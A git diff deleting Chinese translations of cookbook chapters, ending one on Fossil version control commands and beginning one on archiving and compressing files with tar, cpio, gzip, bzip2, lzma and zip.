克隆一个远程化石库 - -因为化石存储库包含在一个文件中,所以您可以简单地通过复制该文件来克隆它。您可以将化石存储库作为电子邮件附件发送给另一个开发人员,将其放在网站上,或者将其复制到 USB 记忆棒中。 - -化石擦洗命令从数据库中删除 web 服务器可能需要的用户和密码信息。在分发存储库的副本之前,建议执行此步骤。 - -# 怎么做... - -您可以使用化石克隆命令在服务器模式下从运行化石的站点克隆化石。化石克隆命令分发版本历史,但不分发用户和密码信息: - -```sh - $ fossil clone http://RemoteSite:port projectName.fossil - -``` - -# 它是如何工作的... - -化石克隆命令将存储库从您指定的站点复制到一个本地文件,该文件具有您提供的名称(在示例中为:`projectName.fossil`)。 - -# 开启化石项目 - -化石打开命令从存储库中提取文件。通常最简单的方法是在化石库所在的文件夹下创建一个子文件夹来保存项目。 - -# 怎么做... - -下载化石库: - -```sh - $ fossil clone http://example.com/ProjectName project.fossil - -``` - -为您的工作目录创建一个新文件夹,并将其更改为: - -```sh - $ mkdir newFeature - $ cd newFeature - -``` - -在工作文件夹中打开存储库: - -```sh - $ fossil open ../project.fossil - -``` - -# 它是如何工作的... - -化石打开命令提取已检入化石存储库的所有文件夹、子文件夹和文件。 - -# 还有更多... - -您可以使用化石打开来提取存储库中代码的特定修订。这个例子展示了如何检查 1.0 版本来修复一个旧的 bug。为您的工作目录创建一个新文件夹,并按如下方式进行更改: - -```sh - $ mkdir fix_1.0_Bug - $ cd fix_1.0_Bug - -``` - -在工作文件夹中打开存储库: - -```sh - $ fossil open ../project.fossil release_1.0 - -``` - -# 用化石添加和提交变更 - -创建存储库后,您需要添加和编辑文件。化石添加命令向存储库添加新文件,化石提交命令向存储库提交更改。这与 Git 不同,Git 中`add`命令标记要添加的更改,而提交命令实际执行提交。 - -# 怎么做... - -接下来的例子展示了如果没有定义`EDITOR`或`VISUAL`壳变量,化石是如何表现的。如果定义了`EDITOR`或`VISUAL`,化石将使用该编辑器,而不是在命令行提示您: - -```sh - $ echo "example" >example.txt - $ fossil add example.txt - ADDED example.txt - - $ fossil commit - # Enter a commit message for this check-in. Lines beginning with # - are ignored. - # - # user: clif - # tags: trunk - # - # ADDED example.txt - - $ echo "Line 2" >>example.txt - $ fossil commit - # Enter a commit message for this check-in. Lines beginning with # - are ignored. - # - # user: clif - # tags: trunk - # - # EDITED example.txt - -``` - -# 还有更多... - -编辑文件时,只需提交即可。默认情况下,提交将记住您对本地存储库的所有更改。如果启用了自动同步,提交也将被推送到远程存储库: - -```sh - $ vim example.txt - $ vim otherExample.txt - $ fossil commit - # Enter a commit message for this check-in. Lines beginning with # - are ignored. - # - # user: clif - # tags: trunk - # - # EDITED example.txt, otherExample.txt - -``` - -# 用树枝和叉子和化石 - -在一个理想的世界里,开发树是一条直线,其中一个版本直接跟随上一个版本。实际上,开发人员经常在稳定的代码基础上工作,并进行更改,然后将这些更改合并回主线开发中。 - -化石系统区分了与主线代码的暂时差异(例如,您的存储库中的 bug 修复)和永久差异(例如 1.x 版本只获得 bug 修复,而新特性进入 2.x)。 - -化石中的惯例是把有意的分歧称为分支,无意的分歧称为分叉。例如,您可能会为正在开发的新代码创建一个分支,而在其他人提交对某个文件的更改后尝试提交该文件的更改会导致分叉,除非您首先更新并解决冲突。 - -分支可以是暂时的,也可以是永久的。临时分支可能是您在开发新功能时创建的分支。永久分支是当您发布一个旨在偏离主线代码的版本时。 - -临时和永久分支都用标记和属性来管理。 - -当你用化石`init`或新化石创建一个化石仓库时,它会给树分配标签`trunk`。 - -化石分支命令管理分支。有创建新分支、列出分支和关闭分支的子命令。 - -# 怎么做 - -1. 使用分支的第一步是创建一个分支。化石分支新建命令创建一个新分支。它可以基于项目的当前签出创建分支,也可以在项目的早期状态创建分支。 -2. 化石分支新建命令将根据给定的签入创建一个新分支: - -```sh - $ fossil branch new NewBranchName Basis-Id - New branch: 9ae25e77317e509e420a51ffbc43c2b1ae4034da - -``` - -3. `Basis-Id`是一个标识符,用来告诉化石从哪个代码快照分支。定义`Basis-Id`有几种方式。其中最常见的将在下一节中讨论。 -4. 请注意,您需要执行签出以将工作文件夹更新到新分支: - -```sh - $ fossil checkout NewBranchName - -``` - -# 它是如何工作的... - -`NewBranchName`是你新分公司的名字。惯例是以描述正在进行的修改的方式命名分支。像`localtime_fixes`或`bug_1234_fix`这样的分支机构名称很常见。 - -`Basis-Id`是一个字符串,用于标识分支分叉的节点。这可以是一个分支的名称,如果你是从一个给定的分支的头部分叉。 - -以下命令显示了如何从树干尖端创建分支: - -```sh - $ fossil branch new test_rework_parse_logic trunk - New branch: 9ae25e77317e509e420a51ffbc43c2b1ae4034da - - $ fossil checkout test_rework_parse_logic - -``` - -化石提交命令允许您在提交时使用`--branch`选项指定新的分支名称: - -```sh - $ fossil checkout trunk - - # Make Changes - - $ fossil commit --branch test_rework_parse_logic - -``` - -# 还有更多... - -# 合并分叉和分支 - -分支和分叉都可以合并回它们的父分支。叉子被认为是临时的,一旦修改被批准就应该被合并。分支被认为是永久性的,但即使是这些分支也可能被合并回主线代码中。 - -化石合并命令会将一个临时分叉合并到另一个分支中。 - -# 怎么做... - -1. 要创建临时分支并将其合并回现有分支,必须先签出要处理的分支: - -```sh - $ fossil checkout trunk - -``` - -2. 现在你可以编辑和测试了。当您对新代码感到满意时,将新代码提交到新的分支。如有必要,`--branch`选项会创建一个新分支,并将当前分支设置为新的`branch`: - -```sh - $ fossil commit --branch new_logic - -``` - -3. 代码经过测试和验证后,您可以通过签出要合并到的分支,将其合并回相应的分支,然后调用化石合并命令来计划合并,最后提交合并: - -```sh - $ fossil checkout trunk - $ fossil merge new_logic - $ fossil commit - -``` - -4. 化石和 Git 在这方面的表现略有不同。`git merge`命令更新存储库,而化石合并命令在提交合并之前不会修改存储库。 - -# 与化石分享你的作品 - -如果您使用多个平台进行开发,或者您在其他人的项目上工作,您需要将本地存储库与远程主存储库同步。化石有几种方法来处理这个问题。 - -# 怎么做... - -默认情况下,化石在`autosync`模式下运行。在这种模式下,您的提交会立即传播到远程存储库。 - -`autosync`设置可以通过化石设置命令启用和禁用: - -```sh - $ fossil setting autosync off - $ fossil setting autosync on - -``` - -当`autosync`被禁用时(化石以手动合并模式运行),您必须使用化石推送命令将本地存储库中的更改发送到远程: - -```sh - $ fossil push - -``` - -# 它是如何工作的... - -`push`命令将本地存储库中的所有更改推送到远程存储库中。它不会修改任何签出的代码。 - -# 更新你当地的化石仓库 - -将您的工作推送到远程存储库的另一面是更新您的本地存储库。如果您在笔记本电脑上做一些开发工作,而主存储库在公司的服务器上,或者您正在与多人合作一个项目,并且您需要了解他们的最新功能,那么您就需要这样做。 - -# 怎么做... - -化石服务器不会自动将更新推送到远程存储库。`fossil pull`命令将把更新拉到您的存储库中。它会更新存储库,但不会更改您的工作代码: - -```sh - $ fossil pull - -``` - -如果存储库中有更改,`fossil checkout`命令将更新您的工作代码: - -```sh - $ fossil checkout - -``` - -您可以将拉取和检出子命令与`fossil update`命令结合使用: - -```sh - $ fossil update - UPDATE main.tcl - ------------------------------------------------------------------- - ------------ - updated-to: 47c85d29075b25aa0d61f39d56f61f72ac2aae67 2016-12-20 - 17:35:49 UTC - tags: trunk - comment: Ticket 1234abc workaround (user: clif) - changes: 1 file modified. - "fossil undo" is available to undo changes to the working checkout. - -``` - -# 检查化石仓库的状态 - -在开始任何新的开发之前,您应该将本地存储库的状态与主存储库进行比较。您不想浪费时间编写与已被接受的代码冲突的代码。 - -# 怎么做... - -`fossil status`命令将报告您的项目的当前状态,您是否有未提交的编辑以及您的工作代码是否在提示处: - -```sh - $ fossil status - repository: /home/clif/myProject/../myProject.fossil - local-root: /home/clif/myProject/ - config-db: /home/clif/.fossil - checkout: 47c85d29075b25aa0d61f39d56f61f72ac2aae67 2016-12-20 - 17:35:49 UTC - parent: f3c579cd47d383980770341e9c079a87d92b17db 2016-12-20 - 17:33:38 UTC - tags: trunk - comment: Ticket 1234abc workaround (user: clif) - EDITED main.tcl - -``` - -如果自上次结帐后,对您正在处理的分支进行了提交,状态将包括类似以下内容的行: - -```sh - child: abcdef123456789... YYYY-MM-DD HH:MM::SS UTC - -``` - -这表明在您的代码之后有一个提交。在提交给分支机构负责人之前,您必须进行`fossil update`操作,以使代码的工作副本同步。这可能需要您手动修复冲突。 - -请注意,化石只能报告您本地存储库中的数据。如果提交已经完成,但没有被推送到服务器并拉进您的本地存储库,它们将不会显示。您应该在`fossil status`之前调用`fossil sync`来确认您的存储库拥有所有最新的信息。 - -# 查看化石历史 - -`fossil server`和`fossil ui`命令启动化石的网络服务器,让你查看签到的历史,并通过你最喜欢的浏览器浏览代码。 - -时间轴选项卡提供了分支、提交和合并的树形结构视图。web 界面支持查看与提交相关联的源代码,并在不同版本之间执行不同的操作。 - -# 怎么做... - -在 UI 模式下启动化石。它会尝试找到您的浏览器并打开主页。如果失败,您可以将浏览器指向化石: - -```sh - $ fossil ui - Listening for HTTP requests on TCP port 8080 - - $ konqueror 127.0.0.1:8080 - -``` - -![](img/image_06_001.png) - -# 寻找 bug - -化石提供了一些工具来帮助定位引入 bug 的提交位置: - -| **工具** | **描述** | -| `fossil diff` | 这将显示文件的两个版本之间的差异 | -| `fossil blame` | 这会生成一个报告,显示文件中每一行的提交信息 | -| `fossil bisect` | 这使用二分搜索法来区分应用的好版本和坏版本 | - -# 怎么做... - -`fossil diff`命令有几个选项。当寻找引入问题的代码时,我们通常希望对一个文件的两个版本进行比较。`-from`和`-to`选项到`fossil diff`执行此动作: - -```sh - $ fossil diff -from ID-1 -to ID-2FILENAME - -``` - -`ID-1`和`ID-2`是存储库中使用的标识符。它们可能是 SHA-1 散列、标签或日期等等。`FILENAME`是致力于化石的文件。 - -例如,要找出`main.tcl`的两个版本之间的差异,请使用以下命令: - -```sh - $ fossil diff -from 47c85 -to 7a7e25 main.tcl - - Index: main.tcl - ================================================================== - --- main.tcl - +++ main.tcl - @@ -9,10 +9,5 @@ - - set max 10 - set min 1 - + while {$x < $max} { - - for {set x $min} {$x < $max} {incr x} { - - process $x - - } - - - -``` - -# 还有更多... - -两个修订之间的差异是有用的,但是更有用的是看到整个文件被注释以显示何时添加了行。 - -`fossil blame`命令生成一个文件的注释列表,显示何时添加了行: - -```sh -$ fossil blame main.tcl -7806f43641 2016-12-18 clif: # main.tcl -06e155a6c2 2016-12-19 clif: # Clif Flynt -b2420ef6be 2016-12-19 clif: # Packt fossil Test Script -a387090833 2016-12-19 clif: -76074da03c 2016-12-20 clif: for {set i 0} {$i < 10} {incr -i} { -76074da03c 2016-12-20 clif: puts "Buy my book" -2204206a18 2016-12-20 clif: } -7a7e2580c4 2016-12-20 clif: - -``` - -当你知道一个版本有问题,而另一个版本没有问题时,你需要把注意力集中在问题出现的版本上。 - -`fossil bisect`命令为此提供了支持。它允许您定义代码的好版本和坏版本,并自动检查待测试版本之间的版本。然后你可以标记这个版本是好是坏,化石会重复这个过程。化石平分还生成报告,显示有多少版本已经过测试,有多少需要测试。 - -怎么做... - -`fossil bisect reset`命令初始化好指针和坏指针。`fossil bisect good`和`fossil bisect bad`命令将版本标记为好或坏,并检查介于好和坏版本之间的代码版本: - -```sh -$ fossil bisect reset -$ fossil bisect good 63e1e1 -$ fossil bisect bad 47c85d -UPDATE main.tcl ------------------------------------------------------------------------ -updated-to: f64ca30c29df0f985105409700992d54e 2016-12-20 17:05:44 UTC -tags: trunk -comment: Reworked flaky test. (user: clif) -changes: 1 file modified. - "fossil undo" is available to undo changes to the working checkout. - 2 BAD 2016-12-20 17:35:49 47c85d29075b25aa - 3 CURRENT 2016-12-20 17:05:44 f64ca30c29df0f98 - 1 GOOD 2016-12-19 23:03:22 63e1e1290f853d76 - -``` - -测试完`f64ca`版本的代码后,可以标记好或坏,`fossil bisect`会检查出下一个版本进行测试。 - -还有更多... - -`fossil bisect status`命令生成可用版本的报告,并标记测试版本: - -```sh -$ fossil bisect status -2016-12-20 17:35:49 47c85d2907 BAD -2016-12-20 17:33:38 f3c579cd47 -2016-12-20 17:30:03 c33415c255 CURRENT NEXT -2016-12-20 17:12:04 7a7e2580c4 -2016-12-20 17:10:35 24edea3616 -2016-12-20 17:05:44 f64ca30c29 GOOD - -``` - -# 标记快照 - -化石图中的每个节点都可以附加一个或多个标签。标签可以标识发布、分支或您可能想要引用的特定里程碑。例如,您可能希望 release-1 分支包含 release-1.0、release-1.1 等的标签。标签可以与检出或合并一起使用,而不是使用 SHA1 标识符。 - -标签用化石标签命令实现。化石支持几个子命令来添加、取消、查找和列出标签。 - -`fossil tag add`命令创建一个新标签: - -```sh - $ fossil tag add TagName Identifier - -``` - -# 怎么做... - -`TagName`就是你想称呼的分支。 - -标识符是要标记的节点的标识符。标识符可以是下列之一: - -1. **分支名称**:标记该分支上最近的提交 -2. **SHA1 标识符**:用这个 SHA1 标识符标记提交 -3. **日戳(YYYY-MM-DD)** :标记该日戳之前的提交 -4. **时间戳(YYYY-MM-DD HH:MM:SS)** :在该时间戳之前标记提交 - -```sh - # Tag the current tip of the trunk as release_1.0 - $ fossil add tag release_1.0 trunk - - # Tag the last commit on December 15 as beta_release_1 - $ fossil add tag beta_release_1 2016-12-16 - -``` - -# 还有更多... - -标签可以用作创建分叉或分支的标识符: - -```sh - $ fossil add tag newTag trunk - $ fossil branch new newTagBranch newTag - $ fossil checkout newTagBranch - -``` - -标签可以通过提交和`-branch`选项创建分支: - -```sh - $ fossil add tag myNewTag 2016-12-21 - $ fossil checkout myNewTag - # edit and change - $ fossil commit -branch myNewTag - -``` \ No newline at end of file diff --git a/docs/linux-shell-script-cb/07.md b/docs/linux-shell-script-cb/07.md deleted file mode 100644 index 27244a0d..00000000 --- a/docs/linux-shell-script-cb/07.md +++ /dev/null @@ -1,1083 +0,0 @@ -# 七、备份 - -在本章中,我们将介绍以下食谱: - -* 用`tar`存档 -* 用`cpio`存档 -* 用`gzip`压缩数据 -* 用`zip`存档和压缩 -* 借助`pbzip2`加快归档速度 -* 使用压缩创建文件系统 -* 使用`rsync`备份快照 -* 差异档案 -* 使用`fsarchiver`创建整个磁盘映像 - -# 介绍 - -没有人关心备份,直到他们需要它们,没有人做备份,除非被迫。因此,备份需要自动化。随着磁盘驱动器技术的进步,添加新驱动器或使用云进行备份比备份到磁带驱动器更简单。即使使用便宜的驱动器或云存储,也应该压缩备份数据,以减少存储需求和传输时间。数据在存储到云上之前应该加密。数据通常在加密前被存档和压缩。许多标准的加密程序可以通过 shell 脚本实现自动化。本章的方法描述了创建和维护文件或文件夹档案、压缩格式和加密技术。 - -# 用 tar 存档 - -`tar`命令被写入归档文件。它最初被设计用来在磁带上存储数据,因此得名**磁带存档**。Tar 允许您将多个文件和目录组合成一个文件,同时保留文件属性,如所有者和权限。由`tar`命令创建的文件通常被称为 **tarball** 。这些食谱描述了用`tar`创建档案。 - -# 准备好 - -默认情况下,`tar`命令会出现在所有类似 Unix 的操作系统中。它有一个简单的语法,并以可移植的文件格式创建档案。它支持许多调整其行为的论点。 - -# 怎么做... - -`tar`命令创建、更新、检查和打开档案。 - -1. 要使用 tar 创建归档文件,请执行以下操作: - -```sh - $ tar -cf output.tar [SOURCES] - -``` - -`c`选项创建一个新的档案,`f`选项告诉 tar 用于档案的文件名。f 选项后面必须跟一个文件名: - -```sh - $ tar -cf archive.tar file1 file2 file3 folder1 .. - -``` - -2. `-t`选项列出了档案的内容: - -```sh - $ tar -tf archive.tar - file1 - file2 - -``` - -3. `-v`或`-vv`标志在输出中包含更多信息。这些特性被称为详细(`v`)和非常详细(`vv`)。`-v`约定对于通过打印到终端来生成报告的命令是通用的。`-v`选项显示更多详细信息,如文件权限、所有者组和修改日期: - -```sh - $ tar -tvf archive.tar - -rw-rw-r-- shaan/shaan 0 2013-04-08 21:34 file1 - -rw-rw-r-- shaan/shaan 0 2013-04-08 21:34 file2 - -``` - -The filename must appear immediately after the `-f` and it should be the last option in the argument group. For example, if you want verbose output, you should use the options like this: -`$ tar -cvf output.tar file1 file2 file3 folder1 ..` - -# 它是如何工作的... - -tar 命令接受文件名或通配符列表,如`*.txt`来指定来源。完成后,`tar`会将源文件归档到命名文件中。 - -我们不能将数百个文件或文件夹作为命令行参数传递。因此,如果要归档许多文件,使用追加选项(稍后解释)会更安全。 - -# 还有更多... - -让我们浏览一下`tar`命令支持的附加功能。 - -# 将文件追加到归档中 - -`-r`选项会将新文件附加到现有档案的末尾: - -```sh - $ tar -rvf original.tar new_file - -``` - -下一个示例创建一个包含一个文本文件的归档: - -```sh - $ echo hello >hello.txt - $ tar -cf archive.tar hello.txt - -``` - -`-t`选项显示档案中的文件。`-f`选项定义了档案名称: - -```sh - $ tar -tf archive.tar - hello.txt - -``` - -`-r`选项追加一个文件: - -```sh - $ tar -rf archive.tar world.txt - $ tar -tf archive.tar - hello.txt - world.txt - -``` - -档案现在包含这两个文件。 - -# 从归档中提取文件和文件夹 - -`-x`选项将档案的内容提取到当前目录: - -```sh - $ tar -xf archive.tar - -``` - -当使用`-x`时,`tar`命令将档案的内容提取到当前目录。`-C`选项指定不同的目录来接收提取的文件: - -```sh - $ tar -xf archive.tar -C /path/to/extraction_directory - -``` - -该命令将归档文件的内容提取到指定的目录。它提取档案的全部内容。我们可以通过将它们指定为命令参数来提取一些文件: - -```sh - $ tar -xvf file.tar file1 file4 - -``` - -前面的命令只提取`file1`和`file4`,它忽略了档案中的其他文件。 - -# 带有 tar 的标准输入和标准输出 - -归档时,我们可以指定`stdout`作为输出文件,这样管道中的另一个命令可以将其读取为`stdin`并处理归档。 - -该技术将通过**安全 Shell** ( **SSH** )连接传输数据,例如: - -```sh - $ tar cvf - files/ | ssh user@example.com "tar xv -C Documents/" - -``` - -在前面的示例中,文件/目录被添加到 tar 档案中,该档案被输出到`stdout`(由`-`表示)并被提取到远程系统上的`Documents`文件夹中。 - -# 连接两个档案 - -`-A`选项将合并多个 tar 档案。 - -给定两个 tarballs,`file1.tar`和`file2.tar`,以下命令将把`file2.tar`的内容合并到`file1.tar`中: - -```sh - $ tar -Af file1.tar file2.tar - -``` - -通过列出内容进行验证: - -```sh - $ tar -tvf file1.tar - -``` - -# 使用时间戳检查更新归档中的文件 - -追加选项将任何给定的文件追加到归档文件中。如果档案中已经存在一个文件,tar 将追加该文件,并且档案将包含重复的文件。更新选项`-u`仅指定追加比档案中现有文件更新的文件。 - -```sh - $ tar -tf archive.tar - filea - fileb - filec - -``` - -仅当`filea`自上次添加到`archive.tar`后已被修改时,才追加`filea`,使用以下命令: - -```sh - $ tar -uf archive.tar filea - -``` - -如果档案外的`filea`版本和`archive.tar`内的`filea`版本具有相同的时间戳,则不会发生任何事情。 - -使用`touch`命令修改文件时间戳,然后再次尝试`tar`命令: - -```sh - $ tar -uvvf archive.tar filea - -rw-r--r-- slynux/slynux 0 2010-08-14 17:53 filea - -``` - -文件被追加,因为它的时间戳比档案中的新,如`-t`选项所示: - -```sh - $ tar -tf archive.tar - -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 filea - -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 fileb - -rw-r--r-- slynux/slynux 0 2010-08-14 17:52 filec - -rw-r--r-- slynux/slynux 0 2010-08-14 17:53 filea - -``` - -请注意,新的`filea`已经附加到`tar`档案中。提取该档案时,tar 将选择最新版本的`filea`。 - -# 比较归档文件和文件系统中的文件 - -`-d`标志将档案中的文件与文件系统中的文件进行比较。此功能可用于确定是否需要创建新的归档。 - -```sh - $ tar -df archive.tar - afile: Mod time differs - afile: Size differs - -``` - -# 从归档中删除文件 - -`-delete`选项从档案中删除文件: - -```sh - $ tar -f archive.tar --delete file1 file2 .. - -``` - -或者, - -```sh - $ tar --delete --file archive.tar [FILE LIST] - -``` - -下一个示例演示如何删除文件: - -```sh - $ tar -tf archive.tar - filea - fileb - filec - $ tar --delete --file archive.tar filea - $ tar -tf archive.tar - fileb - filec - -``` - -# 使用 tar 存档进行压缩 - -默认情况下,`tar`命令存档文件,它不压缩它们。Tar 支持压缩结果存档的选项。压缩可以显著减小文件的大小。Tarballs 通常被压缩为以下格式之一: - -* **gzip 格式**:T0 或`file.tgz` -* **bzip2 格式** : `file.tar.bz2` -* **Lempel-Ziv-Markov 格式** : `file.tar.lzma` - -不同的`tar`标志用于指定不同的压缩格式: - -* `-j`为 **bunzip2** -* `-z`为 **gzip** -* `--lzma`为 **lzma** - -可以使用压缩格式,而不必像前面那样明确指定特殊选项。`tar`可以根据输出的扩展名进行压缩,也可以根据输入文件的扩展名进行解压缩。`-a`或- **自动压缩**选项使 tar 根据文件扩展名自动选择压缩算法: - -```sh - $ tar acvf archive.tar.gz filea fileb filec - filea - fileb - filec - $ tar tf archive.tar.gz - filea - fileb - filec - -``` - -# 从归档中排除一组文件 - -`-exclude [PATTEN]`选项将排除通配符模式匹配的文件存档。 - -例如,要从归档中排除所有`.txt`文件,请使用以下命令: - -```sh - $ tar -cf arch.tar * --exclude "*.txt" - -``` - -Note that the pattern should be enclosed within quotes to prevent the shell from expanding it. - -也可以排除列表文件中提供的带有`-X`标志的文件列表,如下所示: - -```sh - $ cat list - filea - fileb - - $ tar -cf arch.tar * -X list - -``` - -现在将`filea`和`fileb`排除在存档之外。 - -# 不包括版本控制目录 - -tarballs 的一个用途是分发源代码。许多源代码都是使用版本控制系统维护的,比如 subversion、Git、mercurial 和 CVS(参考上一章)。版本控制下的代码目录通常包含特殊目录,如`.svn`或`.git`。这些由版本控制应用管理,除了开发人员之外,对任何人都没有用。因此,应该将它们从分发给用户的源代码的目标中删除。 - -为了在存档时排除版本控制相关文件和目录,请将`--exclude-vcs`选项与`tar`一起使用。考虑这个例子: - -```sh - $ tar --exclude-vcs -czvvf source_code.tar.gz eye_of_gnome_svn - -``` - -# 打印总字节数 - -`-totals`选项将打印复制到档案的总字节数。请注意,这是实际数据的字节数。如果包含压缩选项,文件大小将小于存档的字节数。 - -```sh - $ tar -cf arc.tar * --exclude "*.txt" --totals - Total bytes written: 20480 (20KiB, 12MiB/s) - -``` - -# 请参见 - -* 本章中的*用 gzip* 方法压缩数据解释了`gzip`命令 - -# 用 cpio 存档 - -`cpio`应用是另一种类似于`tar`的归档格式。它用于将文件和目录存储在具有权限和所有权等属性的归档中。`cpio`格式用于包含内核映像的 Linux 内核的 RPM 包档案(用于`distros`如 Fedora、`initramfs`文件等。本食谱将给出`cpio`的简单例子。 - -# 怎么做... - -`cpio`应用通过`stdin`接受输入文件名,并将档案写入`stdout`。我们必须将`stdout`重定向到一个文件以保存`cpio`输出: - -1. 创建测试文件: - -```sh - $ touch file1 file2 file3 - -``` - -2. 存档测试文件: - -```sh - $ ls file* | cpio -ov > archive.cpio - -``` - -3. 在`cpio`档案中列出文件: - -```sh - $ cpio -it < archive.cpio - -``` - -4. 从`cpio`档案中提取文件: - -```sh - $ cpio -id < archive.cpio - -``` - -# 它是如何工作的... - -对于存档命令,选项如下: - -* `-o`:指定输出 -* `-v`:用于打印归档文件列表 - -Using `cpio`, we can also archive using files as absolute paths. `/usr/``somedir` is an absolute path as it contains the full path starting from root (`/`). -A relative path will not start with `/` but it starts the path from the current directory. For example, `test/file` means that there is a directory named `test` and `file` is inside the `test` directory. -While extracting, `cpio` extracts to the absolute path itself. However, in the case of `tar`, it removes the `/` in the absolute path and converts it to a relative path. - -命令中列出给定`cpio`档案中所有文件的选项如下: - -* `-i`用于指定输入 -* `-t`为上市 - -在提取命令中,`-o`代表提取,`cpio`在不提示的情况下覆盖文件。`-d`选项告诉`cpio`根据需要创建新目录。 - -# 用 gzip 压缩数据 - -**gzip** 应用是 GNU/Linux 平台中常见的压缩格式。`gzip`、`gunzip`、`zcat`程序都处理`gzip`压缩。这些实用程序仅压缩/解压缩单个文件或数据流。他们不能直接归档目录和多个文件。幸运的是,`gzip`可以搭配焦油和`cpio`使用。 - -# 怎么做... - -`gzip`将压缩一个文件,`gunzip`将解压回原始文件: - -1. 用`gzip`压缩文件: - -```sh - $ gzip filename - $ ls - filename.gz - -``` - -2. 提取一个`gzip`压缩文件: - -```sh - $ gunzip filename.gz - $ ls - filename - -``` - -3. 要列出压缩文件的属性,请使用以下命令: - -```sh - $ gzip -l test.txt.gz - compressed uncompressed ratio uncompressed_name - 35 6 -33.3% test.txt - -``` - -4. `gzip`命令可以从`stdin`读取文件,并将压缩文件写入`stdout`。 - -从`stdin`读取数据,并将压缩后的数据输出到`stdout`: - -```sh - $ cat file | gzip -c > file.gz - -``` - -`-c`选项用于指定`stdout`的输出。 - -gzip `-c`选项适用于`cpio`: - -```sh - $ ls * | cpio -o | gzip -c > cpiooutput.gz - $ zcat cpiooutput.gz | cpio -it - -``` - -5. 我们可以使用`--fast`或`--best`选项分别为`gzip`指定低压缩比和高压缩比。 - -# 还有更多... - -`gzip`命令经常与其他命令一起使用,并具有指定压缩比的高级选项。 - -# 带 tarball 的 Gzip - -gzipped tarball 是使用 gzip 压缩的 tar 存档。我们可以用两种方法来制造这种油球: - -* 第一种方法如下: - -```sh - $ tar -czvvf archive.tar.gz [FILES] - -``` - -或者,可以使用以下命令: - -```sh - $ tar -cavvf archive.tar.gz [FILES] - -``` - -`-z`选项指定`gzip`压缩,`-a`选项指定压缩格式应根据扩展名确定。 - -* 第二种方法如下: - -首先,创建一个目标球: - -```sh - $ tar -cvvf archive.tar [FILES] - -``` - -然后,压缩油球: - -```sh - $ gzip archive.tar - -``` - -如果许多文件(几百个)要归档在一个 tarball 中,并且需要压缩,我们使用第二种方法,做一些更改。在命令行上定义许多文件的问题在于,它只能接受有限数量的文件作为参数。为了解决这个问题,我们使用追加选项(`-r`)通过循环逐个添加文件来创建`tar`文件,如下所示: - -```sh -FILE_LIST="file1 file2 file3 file4 file5" -for f in $FILE_LIST; - do - tar -rvf archive.tar $f -done -gzip archive.tar - -``` - -以下命令将提取一个 gzipped tarball: - -```sh - $ tar -xavvf archive.tar.gz -C extract_directory - -``` - -在前面的命令中,`-a`选项用于检测压缩格式。 - -# zcat -读取 gzipped 文件而不解压缩 - -`zcat`命令将未压缩的数据从`.gz`文件转储到`stdout`,而不重新创建原始文件。`.gz`文件保持不变。 - -```sh - $ ls - test.gz - - $ zcat test.gz - A test file - # file test contains a line "A test file" - - $ ls - test.gz - -``` - -# 压缩比 - -我们可以指定压缩比,范围为 1 到 9,其中: - -* 1 是最低的,但最快 -* 9 是最好的,但最慢 - -您可以指定该范围内的任意比率,如下所示: - -```sh - $ gzip -5 test.img - -``` - -默认情况下,`gzip`使用`-6`值,以一定速度为代价,支持更好的压缩。 - -# 使用 bzip2 - -`bzip2`在功能和句法上与`gzip`相似。不同的是`bzip2`比`gzip`提供更好的压缩和更慢的运行。 - -要使用`bzip2`压缩文件,请使用如下命令: - -```sh - $ bzip2 filename - -``` - -提取 bzipped 文件,如下所示: - -```sh - $ bunzip2 filename.bz2 - -``` - -压缩和提取 tar.bz2 文件的方法类似于前面讨论的 tar.bz2: - -```sh - $ tar -xjvf archive.tar.bz2 - -``` - -这里`-j`指定以`bzip2`格式压缩档案。 - -# 使用 lzma - -`lzma`压缩比`gzip`和`bzip2`提供更好的压缩比。 - -要使用`lzma`压缩文件,请使用如下命令: - -```sh - $ lzma filename - -``` - -要提取`lzma`文件,请使用以下命令: - -```sh - $ unlzma filename.lzma - -``` - -可以使用`-lzma`选项压缩一个 tarball: - -```sh - $ tar -cvvf --lzma archive.tar.lzma [FILES] - -``` - -或者,这可以用于: - -```sh - $ tar -cavvf archive.tar.lzma [FILES] - -``` - -要将通过`lzma`压缩创建的目标球提取到指定目录,请使用以下命令: - -```sh - $ tar -xvvf --lzma archive.tar.lzma -C extract_directory - -``` - -在前面的命令中,`-x`用于提取。`--lzma`指定使用`lzma`对结果文件进行解压缩。 - -或者,使用以下方法: - -```sh - $ tar -xavvf archive.tar.lzma -C extract_directory - -``` - -# 请参见 - -* 本章中的*焦油存档*配方解释了`tar`命令 - -# 使用 zip 存档和压缩 - -ZIP 是一种流行的压缩存档格式,可在 Linux、Mac 和 Windows 上使用。它不像 Linux 上的`gzip`或`bzip2`那样常用,但在向其他平台分发数据时很有用。 - -# 怎么做... - -1. 以下语法创建了一个 zip 存档: - -```sh - $ zip archive_name.zip file1 file2 file3... - -``` - -考虑这个例子: - -```sh - $ zip file.zip file - -``` - -这里将产生`file.zip`文件。 - -2. `-r`标志将递归归档文件夹: - -```sh - $ zip -r archive.zip folder1 folder2 - -``` - -3. `unzip`命令将从压缩文件中提取文件和文件夹: - -```sh - $ unzip file.zip - -``` - -解压缩命令在不删除归档文件的情况下提取内容(与`unlzma`或`gunzip`不同)。 - -4. `-u`标志用更新的文件更新档案中的文件: - -```sh - $ zip file.zip -u newfile - -``` - -5. `-d`标志从压缩档案中删除一个或多个文件: - -```sh - $ zip -d arc.zip file.txt - -``` - -6. 要解压缩的`-l`标志列出了档案中的文件: - -```sh - $ unzip -l archive.zip - -``` - -# 它是如何工作的... - -虽然与我们已经讨论过的大多数归档和压缩工具相似,`zip`与`lzma`、`gzip`或`bzip2`不同,归档后不会删除源文件。虽然`zip`与`tar`类似,但它同时执行归档和压缩,而`tar`本身不执行压缩。 - -# 使用 pbzip2 加快归档速度 - -大多数现代计算机至少有两个中央处理器内核。这几乎和两个真正的 CPU 做你的工作是一样的。然而,仅仅拥有一个多核 CPU 并不意味着程序会运行得更快;重要的是,该计划旨在利用多核优势。 - -到目前为止,所介绍的压缩命令仅使用一个中央处理器。`pbzip2`、`plzip`、`pigz`和`lrzip`命令是多线程的,可以使用多个内核,因此减少了压缩文件的总时间。 - -大多数发行版都没有安装这些,但是可以通过 apt-get 或 yum 添加到您的系统中。 - -# 准备好 - -`pbzip2`通常不会预装在大多数发行版中,你必须使用你的包管理器来安装它: - -```sh - sudo apt-get install pbzip2 - -``` - -# 怎么做... - -1. `pbzip2`命令将压缩单个文件: - -```sh - 